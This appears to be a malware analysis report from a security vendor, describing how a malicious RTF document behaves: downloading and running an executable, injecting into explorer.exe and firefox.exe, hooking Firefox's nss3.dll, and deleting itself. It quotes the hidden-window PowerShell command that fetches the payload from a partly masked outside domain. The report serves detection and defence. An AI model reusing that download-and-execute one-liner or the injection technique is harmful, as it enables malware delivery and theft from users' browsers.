Technical Information
Malicious functions
Downloads and executes
- http://www.pp###ealth.com/dayrui/helpers/pep/teg.exe as %appdata%\media.exe
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
the following user processes:
- firefox.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
Modifies file system
Creates the following files
- %TEMP%\abctfhghgdghghž.sct
- %APPDATA%\media.exe
- %TEMP%\b6f96cbd-28d1-43bc-88f5-383eb90a6caf\e.dll
- <Current directory>\~wrd0000.tmp
Deletes the following files
- %TEMP%\abctfhghgdghghž.sct
- %APPDATA%\media.exe
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.pp###ealth.com/dayrui/helpers/pep/teg.exe
UDP
- DNS ASK pp###ealth.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\media.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://www.pp###ealth.com/dayrui/helpers/pep/teg.exe','%APPDATA%\media.exe');...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\wlanext.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%APPDATA%\media.exe"
